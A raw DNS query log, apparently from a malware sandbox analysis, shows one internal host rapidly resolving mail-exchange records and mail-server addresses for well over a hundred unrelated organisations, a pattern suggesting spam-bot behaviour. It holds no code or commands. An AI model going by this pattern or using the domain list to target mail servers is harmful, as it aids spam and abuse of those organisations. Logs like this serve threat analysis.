Aug 24, 2023 19:04:12.722042084 CEST	192.168.2.8	8.8.8.8	0xe3a	Standard query (0)	spm-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.795130968 CEST	192.168.2.8	8.8.8.8	0x508c	Standard query (0)	milk-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.923227072 CEST	192.168.2.8	8.8.8.8	0x2218	Standard query (0)	bigpond.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.945020914 CEST	192.168.2.8	8.8.8.8	0xf19	Standard query (0)	extmail.bigpond.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.986226082 CEST	192.168.2.8	8.8.8.8	0xd01f	Standard query (0)	centralgrp.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.032362938 CEST	192.168.2.8	8.8.8.8	0x6e0a	Standard query (0)	centralgrp-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.077822924 CEST	192.168.2.8	8.8.8.8	0xef5f	Standard query (0)	usa.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.199834108 CEST	192.168.2.8	8.8.8.8	0xd820	Standard query (0)	blackpagesohio.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.362572908 CEST	192.168.2.8	8.8.8.8	0xb989	Standard query (0)	mail.blackpagesohio.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.512305021 CEST	192.168.2.8	8.8.8.8	0x84fc	Standard query (0)	sabic.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.546344042 CEST	192.168.2.8	8.8.8.8	0x267b	Standard query (0)	addictivemobility.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.652717113 CEST	192.168.2.8	8.8.8.8	0x18ba	Standard query (0)	harlequin.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.680505991 CEST	192.168.2.8	8.8.8.8	0xea0c	Standard query (0)	mxa-00596a01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.683994055 CEST	192.168.2.8	8.8.8.8	0xcdfc	Standard query (0)	cluster4a.eu.messagelabs.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.732609987 CEST	192.168.2.8	8.8.8.8	0x4be2	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.811568022 CEST	192.168.2.8	8.8.8.8	0xcda9	Standard query (0)	dalimar.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.860300064 CEST	192.168.2.8	8.8.8.8	0xe837	Standard query (0)	mx1.pcb.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.984209061 CEST	192.168.2.8	8.8.8.8	0x73f6	Standard query (0)	bctransit.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.030231953 CEST	192.168.2.8	8.8.8.8	0xcd26	Standard query (0)	primary.us.email.fireeyecloud.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.199846983 CEST	192.168.2.8	8.8.8.8	0xc69f	Standard query (0)	activenetwork.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.237283945 CEST	192.168.2.8	8.8.8.8	0x5f3f	Standard query (0)	mxb-000e8b02.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.261697054 CEST	192.168.2.8	8.8.8.8	0x2af7	Standard query (0)	shaw-associates.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.312304974 CEST	192.168.2.8	8.8.8.8	0xffac	Standard query (0)	shawassociates-com01b.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.473563910 CEST	192.168.2.8	8.8.8.8	0x34c0	Standard query (0)	bell.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.561119080 CEST	192.168.2.8	8.8.8.8	0xe368	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.626015902 CEST	192.168.2.8	8.8.8.8	0xcde2	Standard query (0)	apbcorp.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.718780994 CEST	192.168.2.8	8.8.8.8	0x553a	Standard query (0)	mx.bell.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.787183046 CEST	192.168.2.8	8.8.8.8	0x8ad7	Standard query (0)	apbcorp-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.917860985 CEST	192.168.2.8	8.8.8.8	0x77dd	Standard query (0)	mymts.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.999833107 CEST	192.168.2.8	8.8.8.8	0x15d9	Standard query (0)	sd63.bc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.032459021 CEST	192.168.2.8	8.8.8.8	0x6f5d	Standard query (0)	mxa-0026cd01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.152883053 CEST	192.168.2.8	8.8.8.8	0x776e	Standard query (0)	ameritech.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.242147923 CEST	192.168.2.8	8.8.8.8	0x5f6f	Standard query (0)	duchesnay.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.292428970 CEST	192.168.2.8	8.8.8.8	0x79ec	Standard query (0)	mx02.duchesnay.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.309628010 CEST	192.168.2.8	8.8.8.8	0xe748	Standard query (0)	dal.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.361367941 CEST	192.168.2.8	8.8.8.8	0x3c9c	Standard query (0)	dal-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.442157030 CEST	192.168.2.8	8.8.8.8	0x6f5b	Standard query (0)	mastermindtoys.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.608798981 CEST	192.168.2.8	8.8.8.8	0xb76d	Standard query (0)	hotmail.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.637126923 CEST	192.168.2.8	8.8.8.8	0x5bbd	Standard query (0)	swbell.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.638382912 CEST	192.168.2.8	8.8.8.8	0x7ee7	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.686434984 CEST	192.168.2.8	8.8.8.8	0x9c95	Standard query (0)	ff-ip4-mx-vip1.prodigy.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.793391943 CEST	192.168.2.8	8.8.8.8	0xd129	Standard query (0)	cegep-ste-foy.qc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.858448982 CEST	192.168.2.8	8.8.8.8	0xaf23	Standard query (0)	surewest.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.873408079 CEST	192.168.2.8	8.8.8.8	0xe7bc	Standard query (0)	cegepstefoy-qc-ca01cc.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.875519037 CEST	192.168.2.8	8.8.8.8	0xf58	Standard query (0)	wightman.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.990468025 CEST	192.168.2.8	8.8.8.8	0xb84a	Standard query (0)	mx4c25.carrierzone.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.033179045 CEST	192.168.2.8	8.8.8.8	0x529f	Standard query (0)	aarons.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.035003901 CEST	192.168.2.8	8.8.8.8	0xd1dc	Standard query (0)	prefix1.wightman.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.065207005 CEST	192.168.2.8	8.8.8.8	0x8a10	Standard query (0)	aarons-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.173166990 CEST	192.168.2.8	8.8.8.8	0x117c	Standard query (0)	ofmlive.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.217051029 CEST	192.168.2.8	8.8.8.8	0x6511	Standard query (0)	staffmanagement.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.263232946 CEST	192.168.2.8	8.8.8.8	0x17a9	Standard query (0)	mxa-002fe901.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.282758951 CEST	192.168.2.8	8.8.8.8	0x6b51	Standard query (0)	comcast.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.356220007 CEST	192.168.2.8	8.8.8.8	0xe531	Standard query (0)	mxb-0062aa01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.401346922 CEST	192.168.2.8	8.8.8.8	0x3ab2	Standard query (0)	mx2a1.comcast.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.449261904 CEST	192.168.2.8	8.8.8.8	0x88b6	Standard query (0)	madisontelco.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.624758005 CEST	192.168.2.8	8.8.8.8	0x2ea6	Standard query (0)	madisontelco-com.mx.av-mx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.704193115 CEST	192.168.2.8	8.8.8.8	0xa265	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.808892012 CEST	192.168.2.8	8.8.8.8	0x5804	Standard query (0)	netzero.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.841180086 CEST	192.168.2.8	8.8.8.8	0x5fe1	Standard query (0)	mcleanco.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.877186060 CEST	192.168.2.8	8.8.8.8	0xfda9	Standard query (0)	mcleanco-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.934906006 CEST	192.168.2.8	8.8.8.8	0x5120	Standard query (0)	aidslaw.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.086282015 CEST	192.168.2.8	8.8.8.8	0xdecf	Standard query (0)	d401481.a.ess.ca.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.231818914 CEST	192.168.2.8	8.8.8.8	0x25c2	Standard query (0)	jostens.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.314040899 CEST	192.168.2.8	8.8.8.8	0xa855	Standard query (0)	mx.bellaliant.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.373356104 CEST	192.168.2.8	8.8.8.8	0x163d	Standard query (0)	pshrc.med.sa	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.436856031 CEST	192.168.2.8	8.8.8.8	0xd02e	Standard query (0)	nninc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.571207047 CEST	192.168.2.8	8.8.8.8	0xd366	Standard query (0)	mailer.pshrc.med.sa	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.638092041 CEST	192.168.2.8	8.8.8.8	0xd4f2	Standard query (0)	calgary.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.687788010 CEST	192.168.2.8	8.8.8.8	0x8e3c	Standard query (0)	mxa-001de601.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.736222982 CEST	192.168.2.8	8.8.8.8	0xc194	Standard query (0)	pilotflyingj.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.754915953 CEST	192.168.2.8	8.8.8.8	0xb2aa	Standard query (0)	nninc-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.767983913 CEST	192.168.2.8	8.8.8.8	0xbba5	Standard query (0)	lexrich5.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.776065111 CEST	192.168.2.8	8.8.8.8	0xa50a	Standard query (0)	mxa-001aec01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.846103907 CEST	192.168.2.8	8.8.8.8	0x9e81	Standard query (0)	birchwood.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.859155893 CEST	192.168.2.8	8.8.8.8	0xbb1	Standard query (0)	occupant.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.883977890 CEST	192.168.2.8	8.8.8.8	0xff40	Standard query (0)	bagfortimail.autogroup.birchwood.mb.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.919742107 CEST	192.168.2.8	8.8.8.8	0xa321	Standard query (0)	multimatic.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.950885057 CEST	192.168.2.8	8.8.8.8	0x6577	Standard query (0)	mxb-0057d101.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.029584885 CEST	192.168.2.8	8.8.8.8	0x51fe	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.127351999 CEST	192.168.2.8	8.8.8.8	0x6110	Standard query (0)	linkedin.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.148920059 CEST	192.168.2.8	8.8.8.8	0xda86	Standard query (0)	mail-a.linkedin.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.187551022 CEST	192.168.2.8	8.8.8.8	0x7015	Standard query (0)	manuelarregui.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.268614054 CEST	192.168.2.8	8.8.8.8	0x6500	Standard query (0)	mail.manuelarregui.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.299623966 CEST	192.168.2.8	8.8.8.8	0x9629	Standard query (0)	nai-online.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.389116049 CEST	192.168.2.8	8.8.8.8	0x2f0a	Standard query (0)	hmel.in	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.440870047 CEST	192.168.2.8	8.8.8.8	0x6bcb	Standard query (0)	mx1.hc1107-31.ap.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.465092897 CEST	192.168.2.8	8.8.8.8	0x2570	Standard query (0)	126.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.522916079 CEST	192.168.2.8	8.8.8.8	0xd98d	Standard query (0)	126mx01.mxmail.netease.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.562405109 CEST	192.168.2.8	8.8.8.8	0x9737	Standard query (0)	mninter.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.701124907 CEST	192.168.2.8	8.8.8.8	0x4d3a	Standard query (0)	mx2.usgo.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.840401888 CEST	192.168.2.8	8.8.8.8	0xba48	Standard query (0)	vertica.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.950520992 CEST	192.168.2.8	8.8.8.8	0xd8a2	Standard query (0)	rsu29.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.967350006 CEST	192.168.2.8	8.8.8.8	0x35c	Standard query (0)	vertica.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.029776096 CEST	192.168.2.8	8.8.8.8	0x7076	Standard query (0)	360-image.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.090778112 CEST	192.168.2.8	8.8.8.8	0x21b5	Standard query (0)	travelers.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.187633991 CEST	192.168.2.8	8.8.8.8	0x86c1	Standard query (0)	360-image.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.298680067 CEST	192.168.2.8	8.8.8.8	0x2d48	Standard query (0)	mxb-00539404.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.549781084 CEST	192.168.2.8	8.8.8.8	0x5dd3	Standard query (0)	live-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.624281883 CEST	192.168.2.8	8.8.8.8	0x445f	Standard query (0)	essar.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.750642061 CEST	192.168.2.8	8.8.8.8	0x1312	Standard query (0)	faithgroupllc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.792279959 CEST	192.168.2.8	8.8.8.8	0x895	Standard query (0)	faithgroupllc-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.826143026 CEST	192.168.2.8	8.8.8.8	0x9f8e	Standard query (0)	webtv.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.892947912 CEST	192.168.2.8	8.8.8.8	0x6b57	Standard query (0)	accragolf.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.024791002 CEST	192.168.2.8	8.8.8.8	0xc843	Standard query (0)	mail1.uae.scanscope.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.064749002 CEST	192.168.2.8	8.8.8.8	0xd5e3	Standard query (0)	apotex.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.100502014 CEST	192.168.2.8	8.8.8.8	0x6146	Standard query (0)	mx1.hc212-78.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.328818083 CEST	192.168.2.8	8.8.8.8	0x24df	Standard query (0)	jqh.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.341128111 CEST	192.168.2.8	8.8.8.8	0x2f39	Standard query (0)	chrysalis-hr.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.403173923 CEST	192.168.2.8	8.8.8.8	0x4a6	Standard query (0)	mx1.privateemail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.501530886 CEST	192.168.2.8	8.8.8.8	0x16c4	Standard query (0)	cybermesa.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.507118940 CEST	192.168.2.8	8.8.8.8	0x1d1c	Standard query (0)	jqh-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.562237978 CEST	192.168.2.8	8.8.8.8	0x9bc8	Standard query (0)	cgocable.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.642137051 CEST	192.168.2.8	8.8.8.8	0x4932	Standard query (0)	orilliapronet.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.681412935 CEST	192.168.2.8	8.8.8.8	0xba07	Standard query (0)	mx3.cgocable.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.688802004 CEST	192.168.2.8	8.8.8.8	0xb0c	Standard query (0)	mx-in-1.cybermesa.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.739857912 CEST	192.168.2.8	8.8.8.8	0x63a2	Standard query (0)	abledentalgroup.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.772959948 CEST	192.168.2.8	8.8.8.8	0x5e34	Standard query (0)	mx1c1.megamailservers.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.776736975 CEST	192.168.2.8	8.8.8.8	0x3380	Standard query (0)	abledentalgroup-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.965641975 CEST	192.168.2.8	8.8.8.8	0x2c79	Standard query (0)	kingstoncanada.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.997227907 CEST	192.168.2.8	8.8.8.8	0x235c	Standard query (0)	d194283a.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.124226093 CEST	192.168.2.8	8.8.8.8	0x45b4	Standard query (0)	dv8wear.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.164058924 CEST	192.168.2.8	8.8.8.8	0x7e25	Standard query (0)	mx.dv8wear.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.358151913 CEST	192.168.2.8	8.8.8.8	0x2b52	Standard query (0)	grouperesistance.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.408097982 CEST	192.168.2.8	8.8.8.8	0xb301	Standard query (0)	lnf-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.409259081 CEST	192.168.2.8	8.8.8.8	0x72fc	Standard query (0)	grouperesistance-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.704313993 CEST	192.168.2.8	8.8.8.8	0x780	Standard query (0)	daveandlisa.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.862174988 CEST	192.168.2.8	8.8.8.8	0x8c98	Standard query (0)	impulsebdltd.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.863744020 CEST	192.168.2.8	8.8.8.8	0x1f62	Standard query (0)	mx001.netsol.xion.oxcs.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.941283941 CEST	192.168.2.8	8.8.8.8	0xe576	Standard query (0)	kifkifimport.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.017884016 CEST	192.168.2.8	8.8.8.8	0x2891	Standard query (0)	amarumendez.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.022087097 CEST	192.168.2.8	8.8.8.8	0x1049	Standard query (0)	impulsebdltd-com.p10.spamhero.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.186428070 CEST	192.168.2.8	8.8.8.8	0x5b6f	Standard query (0)	murphybattista.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.219687939 CEST	192.168.2.8	8.8.8.8	0x1476	Standard query (0)	murphybattista-com.mail.eo.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.250407934 CEST	192.168.2.8	8.8.8.8	0x2e88	Standard query (0)	transalta.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.276659012 CEST	192.168.2.8	8.8.8.8	0x2156	Standard query (0)	transalta-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.424844980 CEST	192.168.2.8	8.8.8.8	0x1a24	Standard query (0)	vale.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.461019993 CEST	192.168.2.8	8.8.8.8	0x2f24	Standard query (0)	vale-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.500085115 CEST	192.168.2.8	8.8.8.8	0xcf96	Standard query (0)	parklandhospital.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.592519999 CEST	192.168.2.8	8.8.8.8	0x7207	Standard query (0)	getpgl.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.606745958 CEST	192.168.2.8	8.8.8.8	0xb90e	Standard query (0)	iris.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.663705111 CEST	192.168.2.8	8.8.8.8	0x387	Standard query (0)	smtpin.iris.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.907876968 CEST	192.168.2.8	8.8.8.8	0xe8b0	Standard query (0)	deluxe.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.044051886 CEST	192.168.2.8	8.8.8.8	0x234b	Standard query (0)	deluxe-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.044097900 CEST	192.168.2.8	8.8.8.8	0x8f41	Standard query (0)	spi-s.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.107191086 CEST	192.168.2.8	8.8.8.8	0xb29a	Standard query (0)	adelphia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.146804094 CEST	192.168.2.8	8.8.8.8	0x9cff	Standard query (0)	adelphia-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.187751055 CEST	192.168.2.8	8.8.8.8	0xb31e	Standard query (0)	spis-com0i.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.502487898 CEST	192.168.2.8	8.8.8.8	0xd1f7	Standard query (0)	gasliquids.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.703412056 CEST	192.168.2.8	8.8.8.8	0xfbf9	Standard query (0)	gasliquids-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.709090948 CEST	192.168.2.8	8.8.8.8	0x6757	Standard query (0)	mxa-0028f601.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.835081100 CEST	192.168.2.8	8.8.8.8	0x7d36	Standard query (0)	digitalbayllc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.908627033 CEST	192.168.2.8	8.8.8.8	0x9f04	Standard query (0)	hbc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.945817947 CEST	192.168.2.8	8.8.8.8	0x4e4a	Standard query (0)	smtp02.corphbc.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.987214088 CEST	192.168.2.8	8.8.8.8	0xbd16	Standard query (0)	truserv.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.200607061 CEST	192.168.2.8	8.8.8.8	0x9fc8	Standard query (0)	linetamericas.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.260224104 CEST	192.168.2.8	8.8.8.8	0x7a75	Standard query (0)	linetamericas-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.359590054 CEST	192.168.2.8	8.8.8.8	0xc56b	Standard query (0)	cic.gc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.390528917 CEST	192.168.2.8	8.8.8.8	0xfcd4	Standard query (0)	matrelaw.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.775314093 CEST	192.168.2.8	8.8.8.8	0x940a	Standard query (0)	mail1.cic.gc.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.791337967 CEST	192.168.2.8	8.8.8.8	0xa3a3	Standard query (0)	durham.gov.uk	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.831130981 CEST	192.168.2.8	8.8.8.8	0x1b57	Standard query (0)	cbe.ab.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.895828962 CEST	192.168.2.8	8.8.8.8	0x2f96	Standard query (0)	durham-gov-uk.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.999289036 CEST	192.168.2.8	8.8.8.8	0xd706	Standard query (0)	cbe-ab-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.109222889 CEST	192.168.2.8	8.8.8.8	0x9e8f	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.210927963 CEST	192.168.2.8	8.8.8.8	0x8d5f	Standard query (0)	hook-lafferty.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:28.118300915 CEST	192.168.2.8	8.8.8.8	0x653e	Standard query (0)	philips-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.629460096 CEST	192.168.2.8	8.8.8.8	0x5aa4	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.826308012 CEST	192.168.2.8	8.8.8.8	0xf359	Standard query (0)	slb.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:28.865989923 CEST	192.168.2.8	8.8.8.8	0xeb2c	Standard query (0)	mxa-00198502.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.888207912 CEST	192.168.2.8	8.8.8.8	0x1a2f	Standard query (0)	emera.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:28.914282084 CEST	192.168.2.8	8.8.8.8	0xe48c	Standard query (0)	mxb-00384c01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.176057100 CEST	192.168.2.8	8.8.8.8	0x80a6	Standard query (0)	shw-central.mx.a.cloudfilter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.201463938 CEST	192.168.2.8	8.8.8.8	0xe84c	Standard query (0)	la.twcbc.com	MX (Mail exchange)	IN (0x0001)	false
